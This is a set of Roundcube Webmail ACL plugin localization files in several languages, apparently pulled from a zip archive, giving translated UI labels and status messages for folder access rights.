$labels['longaclwrite'] = 'Meldinger kan merkes, lagres i eller flyttes til mappen';
$labels['longacldelete'] = 'Meldingen kan slettes';
$labels['longaclother'] = 'Andre tilgangsrettigheter';
$labels['ariasummaryacltable'] = 'List tilgangsrettigheter';
$messages['deleting'] = 'Sletter tilgangsrettigheter';
$messages['saving'] = 'Lagrer tilgangsrettigheter';
$messages['updatesuccess'] = 'Tilgangsrettigheter ble endret';
$messages['deletesuccess'] = 'Tilgangsrettigheter ble slettet';
$messages['createsuccess'] = 'Tilgangsrettigheter ble lagt til';
$messages['updateerror'] = 'Kunne ikke oppdatere tilgangsrettigheter';
$messages['deleteerror'] = 'Kunne ikke fjerne tilgangsrettigheter';
$messages['createerror'] = 'Kunne ikke legge til tilgangsrettigheter';
$messages['deleteconfirm'] = 'Er du sikker på at du vil fjerne tilgangen til  valgte brukere';
$messages['norights'] = 'Ingen rettigheter er spesifisert!';
$messages['nouser'] = 'Brukernavn er ikke spesifisert!';
PKh�\)�n���"plugins/acl/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Ndarje Me të Tjerë';
$labels['myrights'] = 'Të drejta Hyrjeje';
$labels['username'] = 'Përdorues:';
$labels['advanced'] = 'Mënyra e përparuar';
$labels['add'] = 'Shtoje';
$labels['newuser'] = 'Shtoni zë';
$labels['editperms'] = 'Përpunoni leje';
$labels['actions'] = 'Veprime të drejtash hyrjeje…';
$labels['anyone'] = 'Krejt përdoruesit (cilido)';
$labels['anonymous'] = 'Mysafirë (në mënyrë anonime)';
$labels['identifier'] = 'Identifikues';
$labels['acll'] = 'Kërkim';
$labels['aclr'] = 'Lexoni mesazhe';
$labels['acls'] = 'Mbaje gjendjen i Parë';
$labels['aclw'] = 'Shkruaju shenjat';
$labels['acli'] = 'Fut (Kopje te)';
$labels['aclp'] = 'Postim';
$labels['aclc'] = 'Krijo nëndosje';
$labels['aclk'] = 'Krijo nëndosje';
$labels['acld'] = 'Fshiji mesazhet';
$labels['aclt'] = 'Fshiji mesazhet';
$labels['acle'] = 'Spastroje';
$labels['aclx'] = 'Fshije dosjen';
$labels['acla'] = 'Administroni';
$labels['acln'] = 'Shto shënime te mesazhet';
$labels['aclfull'] = 'Kontroll i plotë';
$labels['aclother'] = 'Tjetër';
$labels['aclread'] = 'Leximi';
$labels['aclwrite'] = 'Shkrimi';
$labels['acldelete'] = 'Fshije';
$labels['shortacll'] = 'Kërkim';
$labels['shortaclr'] = 'Leximi';
$labels['shortacls'] = 'Mbaje';
$labels['shortaclw'] = 'Shkrimi';
$labels['shortacli'] = 'Fut';
$labels['shortaclp'] = 'Posto';
$labels['shortaclc'] = 'Krijoje';
$labels['shortaclk'] = 'Krijoje';
$labels['shortacld'] = 'Fshije';
$labels['shortaclt'] = 'Fshije';
$labels['shortacle'] = 'Spastro';
$labels['shortaclx'] = 'Fshirje dosjeje';
$labels['shortacla'] = 'Administro';
$labels['shortacln'] = 'Shto shënim';
$labels['shortaclother'] = 'Tjetër';
$labels['shortaclread'] = 'Leximi';
$labels['shortaclwrite'] = 'Shkrimi';
$labels['shortacldelete'] = 'Fshirjeje';
$labels['longacll'] = 'Dosja është e dukshme në lista dhe në të mund të pajtoheni';
$labels['longaclr'] = 'Dosja mund të hapet për lexim';
$labels['longacls'] = 'Mund të ndryshohet shenja Mesazhe të Parë';
$labels['longaclw'] = 'Mund të ndryshohen shenjat dhe fjalëkyçet për mesazhet, hiq të Parë dhe të Fshirë';
$labels['longacli'] = 'Mesazhet mund të shkruhen ose kopjohen në dosje';
$labels['longaclp'] = 'Mesazhet mund të postohen te kjo dosje';
$labels['longaclc'] = 'Dosjet mund të krijohen (ose riemërtohen) drejt e nën këtë dosje';
$labels['longaclk'] = 'Dosjet mund të krijohen (ose riemërtohen) drejt e nën këtë dosje';
$labels['longacld'] = 'Mund të ndryshohet shenja Mesazhe të Fshirë';
$labels['longaclt'] = 'Mund të ndryshohet shenja Mesazhe të Parë';
$labels['longacle'] = 'Mesazhet mund të spastrohen';
$labels['longaclx'] = 'Dosja mund të fshihet ose riemërtohet';
$labels['longacla'] = 'Mund të ndryshohen të drejta hyrjeje te dosja';
$labels['longacln'] = 'Mund të ndryshohen tejtëdhëna të përbashkëta (shënime) mesazhesh';
$labels['longaclfull'] = 'Kontroll i plotë, përfshi administrim dosjesh';
$labels['longaclread'] = 'Dosja mund të hapet për lexim';
$labels['longaclwrite'] = 'Mesazheve mund t’u vihet shenjë, shkruhen ose kopjohen te dosja';
$labels['longacldelete'] = 'Mesazhet mund të fshihen';
$labels['longaclother'] = 'Të tjera të drejta hyrjesh';
$labels['ariasummaryacltable'] = 'Listë të drejtash hyrjeje';
$labels['arialabelaclactions'] = 'Paraqit veprime';
$labels['arialabelaclform'] = 'Formular të drejtash hyrjeje';
$messages['deleting'] = 'Po fshihen të drejta hyrjeje…';
$messages['saving'] = 'Po ruhen të drejtash hyrjeje…';
$messages['updatesuccess'] = 'U ndryshuan me sukses të drejta hyrjeje';
$messages['deletesuccess'] = 'U fshinë me sukses të drejta hyrjeje';
$messages['createsuccess'] = 'U shtuan me sukses të drejta hyrjeje';
$messages['updateerror'] = 'S’arrihet të përditësohen të drejta hyrjeje';
$messages['deleteerror'] = 'S’arrihet të fshihen të drejta hyrjeje';
$messages['createerror'] = 'S’arrihet të shtohen të drejta hyrjeje';
$messages['deleteconfirm'] = 'Jeni i sigurt, doni t’i hiqni të drejta hyrjeje përdoruesit(ve) të përzgjedhur?';
$messages['norights'] = 'S’janë specifikuar të drejta!';
$messages['nouser'] = 'S’është specifikuar emër përdoruesi!';
PKh�\����{{"plugins/acl/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Jagamine';
$labels['myrights'] = 'Ligipääsuõigused';
$labels['username'] = 'Kasutaja:';
$labels['advanced'] = 'laiendatud režiim';
$labels['add'] = 'Lisa';
$labels['newuser'] = 'Lisa sissekanne';
$labels['editperms'] = 'Muuda õigusi';
$labels['actions'] = 'Ligipääsuõiguste toimingud...';
$labels['anyone'] = 'Kõik kasutajad';
$labels['anonymous'] = 'Külalised (anonüümsed)';
$labels['identifier'] = 'Tuvastaja';
$labels['acll'] = 'Ülevaade';
$labels['aclr'] = 'Lugeda kirju';
$labels['acls'] = 'Hoia nähtud olekut';
$labels['aclw'] = 'Salvesta lipud';
$labels['acli'] = 'Sisesta (kopeeri)';
$labels['aclp'] = 'Postita';
$labels['aclc'] = 'Luua alamkaustu';
$labels['aclk'] = 'Luua alamkaustu';
$labels['acld'] = 'Kustutada kirju';
$labels['aclt'] = 'Kustutada kirju';
$labels['acle'] = 'Eemalda';
$labels['aclx'] = 'Kustutada kausta';
$labels['acla'] = 'Administreerida';
$labels['acln'] = 'Annoteeri kirja';
$labels['aclfull'] = 'Täis kontroll';
$labels['aclother'] = 'Muu';
$labels['aclread'] = 'Loe';
$labels['aclwrite'] = 'Kirjuta';
$labels['acldelete'] = 'Kustuta';
$labels['shortacll'] = 'Ülevaade';
$labels['shortaclr'] = 'Loe';
$labels['shortacls'] = 'Säilita';
$labels['shortaclw'] = 'Kirjuta';
$labels['shortacli'] = 'Lisa';
$labels['shortaclp'] = 'Postita';
$labels['shortaclc'] = 'Loo';
$labels['shortaclk'] = 'Loo';
$labels['shortacld'] = 'Kustuta';
$labels['shortaclt'] = 'Kustuta';
$labels['shortacle'] = 'Eemalda';
$labels['shortaclx'] = 'Kausta kustutamine';
$labels['shortacla'] = 'Administreerida';
$labels['shortacln'] = 'Annoteeri';
$labels['shortaclother'] = 'Muu';
$labels['shortaclread'] = 'Loe';
$labels['shortaclwrite'] = 'Kirjuta';
$labels['shortacldelete'] = 'Kustuta';
$labels['longacll'] = 'See kaust on nimekirjas nähtav ja seda saab tellida';
$labels['longaclr'] = 'Kausta saab lugemiseks avada';
$labels['longacls'] = 'Kirja loetuse lippu saab muuta';
$labels['longaclw'] = 'Kirja lippe ja otsingusõnu saab muuta, väljaarvatud loetud ja kustutatud';
$labels['longacli'] = 'Kirju saab salvestada ja kopeerida antud kausta';
$labels['longaclp'] = 'Kirju saab postitada antud kausta';
$labels['longaclc'] = 'Kaustasi saab luua (või ümber nimetada) otse siia kausta alla.';
$labels['longaclk'] = 'Kaustu saab luua (või ümber nimetada) otse siia kausta alla';
$labels['longacld'] = 'Kirja kustutamis lippu saab muuta';
$labels['longaclt'] = 'Kirja kustutamis lippu saab muuta';
$labels['longacle'] = 'Kirju saab eemaldada';
$labels['longaclx'] = 'Seda kausta ei saa kustutada ega ümber nimetada';
$labels['longacla'] = 'Selle kausta ligipääsuõigusi saab muuta';
$labels['longacln'] = 'Kirja jagatud metainfot (annotatsioonid) saab muuta';
$labels['longaclfull'] = 'Täielik kontroll koos kaustade haldamisega';
$labels['longaclread'] = 'Kausta saab lugemiseks avada';
$labels['longaclwrite'] = 'Kirju saab märgistada, salvestada või kopeerida kausta';
$labels['longacldelete'] = 'Kirju saab kustutada';
$labels['longaclother'] = 'Muud ligipääsu õigused';
$labels['ariasummaryacltable'] = 'Nimekir ligipääsu õigustest';
$labels['arialabelaclactions'] = 'Näita tegevusi';
$labels['arialabelaclform'] = 'Ligipääsu õiguste vorm';
$messages['deleting'] = 'Ligipääsuõiguste kustutamine...';
$messages['saving'] = 'Ligipääsuõiguste salvestamine...';
$messages['updatesuccess'] = 'Ligipääsuõigused on muudetud';
$messages['deletesuccess'] = 'Ligipääsuõigused on kustutatud';
$messages['createsuccess'] = 'Ligipääsuõigused on lisatud';
$messages['updateerror'] = 'Ligipääsuõiguste uuendamine nurjus';
$messages['deleteerror'] = 'Ligipääsuõiguste kustutamine nurjus';
$messages['createerror'] = 'Ligipääsuõiguste andmine nurjus';
$messages['deleteconfirm'] = 'Oled sa kindel, et sa soovid valitudkasutaja(te) õiguseid kustutada?';
$messages['norights'] = 'Õigusi pole määratud!';
$messages['nouser'] = 'Kasutajanime pole määratud!';
PKh�\�p���"plugins/acl/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'هاوبەشکردن';
$labels['username'] = 'بەکارهێنەر:';
$labels['advanced'] = 'شێوازی پێشکەوتوو';
$labels['acldelete'] = 'سڕینەوە';
$labels['shortaclc'] = 'دروستکردن';
$labels['shortaclk'] = 'دروستکردن';
$labels['shortacld'] = 'سڕینەوە';
$labels['shortaclt'] = 'سڕینەوە';
$labels['shortaclx'] = 'سڕینەوەی بوخچە';
$labels['shortacldelete'] = 'سڕینەوە';
PKh�\..{D��"plugins/acl/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Partekatzen';
$labels['myrights'] = 'Sarbide-eskubideak';
$labels['username'] = 'Erabiltzailea:';
$labels['advanced'] = 'Modu aurreratua';
$labels['add'] = 'Gehitu';
$labels['newuser'] = 'Gehitu sarrera';
$labels['editperms'] = 'Editatu baimenak';
$labels['actions'] = 'Sarbide-eskubideen ekintzak...';
$labels['anyone'] = 'Erabiltzaile guztiak (edozein)';
$labels['anonymous'] = 'Gonbidatuak (anonimo)';
$labels['identifier'] = 'Identifikatzailea';
$labels['acll'] = 'Bilatu';
$labels['aclr'] = 'Irakurri mezuak';
$labels['acls'] = 'Mantendu ikusita egoera';
$labels['aclw'] = 'Idatzi banderak';
$labels['acli'] = 'Txertatu (kopiatu barnean)';
$labels['aclp'] = 'Posta';
$labels['aclc'] = 'Sortu azpikarpetak';
$labels['aclk'] = 'Sortu azpikarpetak';
$labels['acld'] = 'Ezabatu mezuak';
$labels['aclt'] = 'Ezabatu mezuak';
$labels['acle'] = 'Kendu';
$labels['aclx'] = 'Ezabatu karpeta';
$labels['acla'] = 'Administratu';
$labels['acln'] = 'Idatzi mezuak';
$labels['aclfull'] = 'Kontrol osoa';
$labels['aclother'] = 'Beste';
$labels['aclread'] = 'Irakurri';
$labels['aclwrite'] = 'Idatzi';
$labels['acldelete'] = 'Ezabatu';
$labels['shortacll'] = 'Bilatu';
$labels['shortaclr'] = 'Irakurri';
$labels['shortacls'] = 'Mantendu';
$labels['shortaclw'] = 'Idatzi';
$labels['shortacli'] = 'Txertatu';
$labels['shortaclp'] = 'Bidali';
$labels['shortaclc'] = 'Sortu';
$labels['shortaclk'] = 'Sortu';
$labels['shortacld'] = 'Ezabatu';
$labels['shortaclt'] = 'Ezabatu';
$labels['shortacle'] = 'Kendu';
$labels['shortaclx'] = 'Ezabatu karpeta';
$labels['shortacla'] = 'Administratu';
$labels['shortacln'] = 'Idatzi';
$labels['shortaclother'] = 'Beste';
$labels['shortaclread'] = 'Irakurri';
$labels['shortaclwrite'] = 'Idatzi';
$labels['shortacldelete'] = 'Ezabatu';
$labels['longacll'] = 'Karpeta hau zerrendan ikusgai dago eta harpidetzen ahal zara';
$labels['longaclr'] = 'Karpeta ireki daiteke irakurtzeko';
$labels['longacls'] = 'Mezuen ikusita bandera aldatu daiteke';
$labels['longaclw'] = 'Mezuen banderak eta gako-hitzak alda daitezke, ikusita eta ezabatuta salbu';
$labels['longacli'] = 'Mezuak karpetara idatzi edo kopiatu daitezke';
$labels['longaclp'] = 'Mezuak bidali daitezke karpeta honetara';
$labels['longaclc'] = 'Karpetak sor daitezke (edo berrizendatu) zuzenean karpeta honetan';
$labels['longaclk'] = 'Karpetak sor daitezke (edo berrizendatu) karpeta honetan';
$labels['longacld'] = 'Mezuen ezabatu bandera alda daiteke';
$labels['longaclt'] = 'Mezuen ezabatu bandera alda daiteke';
$labels['longacle'] = 'Mezuak betiko ezaba daitezke';
$labels['longaclx'] = 'Karpeta ezaba edo berrizenda daiteke';
$labels['longacla'] = 'Karpetaren sarbide eskubideak alda daitezke';
$labels['longacln'] = 'Partekatutatko mezuen metadatuak (oharrak) alda daitezke';
$labels['longaclfull'] = 'Kontrol osoa, karpetaren administrazioa barne';
$labels['longaclread'] = 'Karpeta ireki daiteke irakurtzeko';
$labels['longaclwrite'] = 'Mezuak marka, idatzi edo kopia daitezke karpetara';
$labels['longacldelete'] = 'Mezuak ezaba daitezke';
$labels['longaclother'] = 'Beste sarbide-eskubideak';
$labels['ariasummaryacltable'] = 'Sarbide-eskubideen zerrenda';
$labels['arialabelaclactions'] = 'Zerrendatu ekintzak';
$labels['arialabelaclform'] = 'Sarbide-eskubideen formularioa';
$messages['deleting'] = 'Sarbide-eskubideak ezabatzen...';
$messages['saving'] = 'Sarbide-eskubideak gordetzen...';
$messages['updatesuccess'] = 'Sarbide-eskubideak ongi aldatu dira';
$messages['deletesuccess'] = 'Sarbide-eskubideak ongi ezabatu dira';
$messages['createsuccess'] = 'Sarbide-eskubideak ongi gehitu dira';
$messages['updateerror'] = 'Ezin dira eguneratu sarbide-eskubideak';
$messages['deleteerror'] = 'Ezin dira ezabatu sarbide-eskubideak';
$messages['createerror'] = 'Ezin dira gehitu sarbide-eskubideak';
$messages['deleteconfirm'] = 'Seguru zaude hautatutako erabiltzaile(ar)en sarbide-eskubideak ezabatu nahi duzula?';
$messages['norights'] = 'Eskubideak ez dira zehaztu!';
$messages['nouser'] = 'Erabiltzaile-izana ez da zehaztu!';
PKh�\"���"plugins/acl/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Paylaşım';
$labels['myrights'] = 'Erişim izinleri';
$labels['username'] = 'Kullanıcı:';
$labels['advanced'] = 'Gelişmiş kip';
$labels['add'] = 'Ekle';
$labels['newuser'] = 'Kayıt ekle';
$labels['editperms'] = 'İzinleri düzenle';
$labels['actions'] = 'Erişim izinleri işlemleri...';
$labels['anyone'] = 'Tüm kullanıcılar (kim olursa)';
$labels['anonymous'] = 'Ziyaretçiler (isimsiz)';
$labels['identifier'] = 'Tanımlayıcı';
$labels['acll'] = 'Arama';
$labels['aclr'] = 'İletileri oku';
$labels['acls'] = 'Okunmuş durumu korunsun';
$labels['aclw'] = 'Yazma işaretleri';
$labels['acli'] = 'Ekle (kopyala)';
$labels['aclp'] = 'Gönder';
$labels['aclc'] = 'Alt klasörler ekle';
$labels['aclk'] = 'Alt klasörler ekle';
$labels['acld'] = 'İletileri sil';
$labels['aclt'] = 'İletileri sil';
$labels['acle'] = 'Sil';
$labels['aclx'] = 'Klasörü sil';
$labels['acla'] = 'Yönet';
$labels['acln'] = 'İletilere not ekle';
$labels['aclfull'] = 'Tam denetim';
$labels['aclother'] = 'Diğer';
$labels['aclread'] = 'Oku';
$labels['aclwrite'] = 'Yaz';
$labels['acldelete'] = 'Sil';
$labels['shortacll'] = 'Arama';
$labels['shortaclr'] = 'Oku';
$labels['shortacls'] = 'Koru';
$labels['shortaclw'] = 'Yaz';
$labels['shortacli'] = 'Ekle';
$labels['shortaclp'] = 'Gönder';
$labels['shortaclc'] = 'Ekle';
$labels['shortaclk'] = 'Ekle';
$labels['shortacld'] = 'Sil';
$labels['shortaclt'] = 'Sil';
$labels['shortacle'] = 'Sil';
$labels['shortaclx'] = 'Klasörü sil';
$labels['shortacla'] = 'Yönet';
$labels['shortacln'] = 'Not ekle';
$labels['shortaclother'] = 'Diğer';
$labels['shortaclread'] = 'Oku';
$labels['shortaclwrite'] = 'Yaz';
$labels['shortacldelete'] = 'Sil';
$labels['longacll'] = 'Klasör listesinde görülebilir ve abone olunabilir';
$labels['longaclr'] = 'Klasör okunmak üzere açılabilir';
$labels['longacls'] = 'İletilerin okunmuş işareti değiştirilebilir';
$labels['longaclw'] = 'Okundu ve Silindi işaretleri dışındaki işaret ve anahtar sözcükler değiştirilebilir';
$labels['longacli'] = 'Klasöre iletiler yazılabilir ya da kopyalanabilir';
$labels['longaclp'] = 'İletiler bu klasöre gönderilebilir';
$labels['longaclc'] = 'Klasörler doğrudan bu klasör altına eklenebilir (ya da yeniden adlandırılabilir).';
$labels['longaclk'] = 'Klasörler doğrudan bu klasör altına eklenebilir (ya da yeniden adlandırılabilir).';
$labels['longacld'] = 'İleti Silindi işareti değiştirilebilir';
$labels['longaclt'] = 'İleti Silindi işareti değiştirilebilir';
$labels['longacle'] = 'İletiler silinebilir';
$labels['longaclx'] = 'Klasör silinebilir ya da yeniden adlandırılabilir';
$labels['longacla'] = 'Klasör erişim izinleri değiştirilebilir';
$labels['longacln'] = 'İletilerin paylaşılan üst verileri (notlar) değiştirilebilir';
$labels['longaclfull'] = 'Klasör yönetimi dahil tam denetim';
$labels['longaclread'] = 'Klasör okunmak üzere açılabilir';
$labels['longaclwrite'] = 'Klasöre iletiler işaretlenebilir, yazılabilir ya da kopyalanabilir';
$labels['longacldelete'] = 'İletiler silinebilir';
$labels['longaclother'] = 'Diğer erişim izinleri';
$labels['ariasummaryacltable'] = 'Erişim izinleri listesi';
$labels['arialabelaclactions'] = 'İşlem listesi';
$labels['arialabelaclform'] = 'Erişim izinleri formu';
$messages['deleting'] = 'Erişim izinleri siliniyor...';
$messages['saving'] = 'Erişim izinleri kaydediliyor...';
$messages['updatesuccess'] = 'Erişim izinleri değiştirildi';
$messages['deletesuccess'] = 'Erişim izinleri silindi';
$messages['createsuccess'] = 'Erişim izinleri eklendi';
$messages['updateerror'] = 'Erişim izinleri güncellenemedi';
$messages['deleteerror'] = 'Erişim izinleri silinemedi';
$messages['createerror'] = 'Erişim izinleri eklenemedi';
$messages['deleteconfirm'] = 'Seçilmiş kullanıcılar için erişim izinlerini silmek istediğinize emin misiniz?';
$messages['norights'] = 'Herhangi bir izin belirtilmemiş!';
$messages['nouser'] = 'Herhangi bir kullanıcı belirtilmemiş!';
PKh�\��"plugins/acl/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Compartiendo';
$labels['myrights'] = 'Permisos de acceso';
$labels['username'] = 'Usuario:';
$labels['advanced'] = 'Modo avanzado';
$labels['add'] = 'Agregar';
$labels['newuser'] = 'Agregar entrada';
$labels['editperms'] = 'Editar permisos';
$labels['actions'] = 'Acciones para los permisos de acceso...';
$labels['anyone'] = 'Todos los usuarios (cualquiera)';
$labels['anonymous'] = 'Invitado (anonimo)';
$labels['identifier'] = 'Identificacion';
$labels['acll'] = 'Buscar';
$labels['aclr'] = 'Leer mensajes';
$labels['acls'] = 'Mantener como visualizado';
$labels['aclw'] = 'Escribir marcadores';
$labels['acli'] = 'Insertar (Copiar en)';
$labels['aclp'] = 'Publicar';
$labels['aclc'] = 'Crear subcarpetas';
$labels['aclk'] = 'Crear subcarpetas';
$labels['acld'] = 'Eliminar mensajes';
$labels['aclt'] = 'Eliminar mensajes';
$labels['acle'] = 'Descartar';
$labels['aclx'] = 'Eliminar carpeta';
$labels['acla'] = 'Administrar';
$labels['acln'] = 'Anotar mensajes';
$labels['aclfull'] = 'Control total';
$labels['aclother'] = 'Otro';
$labels['aclread'] = 'Leer';
$labels['aclwrite'] = 'Escribir';
$labels['acldelete'] = 'Eliminar';
$labels['shortacll'] = 'Buscar';
$labels['shortaclr'] = 'Leer';
$labels['shortacls'] = 'Mantener';
$labels['shortaclw'] = 'Escribir';
$labels['shortacli'] = 'Insertar';
$labels['shortaclp'] = 'Publicar';
$labels['shortaclc'] = 'Crear';
$labels['shortaclk'] = 'Crear';
$labels['shortacld'] = 'Eliminar';
$labels['shortaclt'] = 'Eliminar';
$labels['shortacle'] = 'Descartar';
$labels['shortaclx'] = 'Borrado de carpeta';
$labels['shortacla'] = 'Administrar';
$labels['shortacln'] = 'Anotar';
$labels['shortaclother'] = 'Otro';
$labels['shortaclread'] = 'Leer';
$labels['shortaclwrite'] = 'Escribir';
$labels['shortacldelete'] = 'Eliminar';
$labels['longacll'] = 'La carpeta es visible en listas y es posible suscribirse a ella';
$labels['longaclr'] = 'La carpeta se puede abirir para lectura';
$labels['longacls'] = 'El marcador de Mensajes Vistos puede ser modificado';
$labels['longaclw'] = 'Los marcadores de mensajes y palabras clave se pueden modificar, excepto Visto y Eliminado';
$labels['longacli'] = 'En esta carpeta se pueden escribir o copiar mensajes';
$labels['longaclp'] = 'En esta carpeta se pueden publicar mensajes';
$labels['longaclc'] = 'Debajo de esta carpeta se puede crear (o renombrar) otras carpetas directamente';
$labels['longaclk'] = 'Debajo de esta carpeta se puede crear (o renombrar) otras carpetas directamente';
$labels['longacld'] = 'El marcador de Mensaje Eliminado puede ser modificado';
$labels['longaclt'] = 'El marcador de Mensaje Eliminado puede ser modificado';
$labels['longacle'] = 'Los mensajes pueden ser descartados';
$labels['longaclx'] = 'La carpeta puede ser eliminada o renombrada';
$labels['longacla'] = 'Los permisos de acceso de esta carpeta pueden ser modificados';
$labels['longacln'] = 'La metainformación de mensajes compartidos (anotaciones) puede ser cambiada';
$labels['longaclfull'] = 'Control total incluyendo la administracion de carpeta';
$labels['longaclread'] = 'La carpeta se puede abrir para lectura';
$labels['longaclwrite'] = 'En esta carpeta los mensajes pueden ser marcados, escritos o copiados';
$labels['longacldelete'] = 'Los mensajes se pueden eliminar';
$labels['longaclother'] = 'Otros permisos de acceso';
$labels['ariasummaryacltable'] = 'Listado de permisos de acceso';
$labels['arialabelaclactions'] = 'Listar acciones';
$labels['arialabelaclform'] = 'Formulario de permisos de acceso';
$messages['deleting'] = 'Eliminando permisos de acceso...';
$messages['saving'] = 'Salvando permisos de acceso...';
$messages['updatesuccess'] = 'Permisos de acceso modificados satisfactoriamente';
$messages['deletesuccess'] = 'Permisos de acceso eliminados correctamente';
$messages['createsuccess'] = 'Permisos de acceso agregados satisfactoriamente';
$messages['updateerror'] = 'No se pudieron actualizar los permisos de acceso';
$messages['deleteerror'] = 'No se pueden eliminar los permisos de acceso';
$messages['createerror'] = 'No se pueden agregar los permisos de acceso';
$messages['deleteconfirm'] = 'Estas seguro que queres remover los permisos de acceso a el/los usuario(s) seleccionado/s?';
$messages['norights'] = 'Ningun permiso ha sido especificado!';
$messages['nouser'] = 'Ningun nombre de usuario ha sido especificado!';
PKh�\
��plugins/acl/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Parvekirin';
$labels['myrights'] = 'Mafên Têketinê';
$labels['username'] = 'Bikarhêner:';
$labels['advanced'] = 'Moda pêşketî';
$labels['add'] = 'Tev bike';
$labels['newuser'] = 'Têketinek zêde bike';
$labels['editperms'] = 'Destûrdayînan Sererast Bike';
$labels['actions'] = 'Digihîje tevgerên çê..';
$labels['anyone'] = 'Hemû bikarhêner (her kes)';
$labels['anonymous'] = 'Mêvan (gelêrî)';
$labels['identifier'] = 'Danasîner';
$labels['acll'] = 'Lê bigere';
$labels['aclr'] = 'Peyaman bixwîne';
$labels['aclw'] = 'Alayan binivîse';
$labels['acli'] = 'Têxe (Heman bike li)';
$labels['aclp'] = 'Şandî';
$labels['aclc'] = 'Bindosyeyan çêke';
$labels['aclk'] = 'Bindosyeyan çêke';
$labels['acld'] = 'Peyaman binivîse';
$labels['aclt'] = 'Peyaman jê bibe';
$labels['acle'] = 'Jê derxîne';
$labels['aclx'] = 'Dosyeyê jê bibe';
$labels['acla'] = 'Birêvebir';
$labels['acln'] = 'Bi nîşeyan peyaman rave bike';
$labels['aclfull'] = 'Tam venêrîn';
$labels['aclother'] = 'Ên din';
$labels['aclread'] = 'Bixwîne';
$labels['aclwrite'] = 'Binivîse';
$labels['acldelete'] = 'Jê bibe';
$labels['shortacll'] = 'Lê bigere';
$labels['shortaclr'] = 'Bixwîne';
$labels['shortacls'] = 'Bihêle';
$labels['shortaclw'] = 'Binivîse';
$labels['shortacli'] = 'Tev bike';
$labels['shortaclp'] = 'Bişîne';
$labels['shortaclc'] = 'Çêke';
$labels['shortaclk'] = 'Çêke';
$labels['shortacld'] = 'Jê bibe';
$labels['shortaclt'] = 'Jê bibe';
$labels['shortacle'] = 'Jê derxîne';
$labels['shortaclx'] = 'Dosye-jêbirin';
$labels['shortacla'] = 'Bikarhêner';
$labels['shortacln'] = 'Bi nîşeyan rave bike';
$labels['shortaclother'] = 'Ên din';
$labels['shortaclread'] = 'Bixwîne';
$labels['shortaclwrite'] = 'Binivîse';
$labels['shortacldelete'] = 'Jê bibe';
$labels['longaclr'] = 'Dosye ji bo xwendinê dikare bê vekirin';
$labels['longacls'] = 'Alaya peyamên Dîtî dikare bête guhartin';
$labels['longaclc'] = 'Dosye dikarin bin vê dosyeyê bêne çêkirin (an jî binavkirin)';
$labels['longaclk'] = 'Dosye dikarin bin vê dosyeyê bêne çêkirin (an jî binavkirin)';
$labels['longaclx'] = 'Dosye dikare bê jêbirin an jî binavkirin';
$labels['longacla'] = 'Mafê gihîştina dosyeyê dikare bê guhartin';
$labels['longaclfull'] = 'Tam venêrîn bi birêvebirina dosyeyê';
$labels['longaclread'] = 'Dosye ji bo xwendinê dikare bê vekirin';
$labels['longaclwrite'] = 'Peyam dikarin kopiyî dosyeyê bên kirin, nîşankirin, nivîsandin.';
$labels['longacldelete'] = 'Hêmî peyam dikarin werin jêbirin';
$labels['longaclother'] = 'Mafên din ên têketinê';
$labels['ariasummaryacltable'] = 'Lîsteya mafên têketinê';
$labels['arialabelaclactions'] = 'Tevgeran liste bike';
$labels['arialabelaclform'] = 'Forma mafên têketinê';
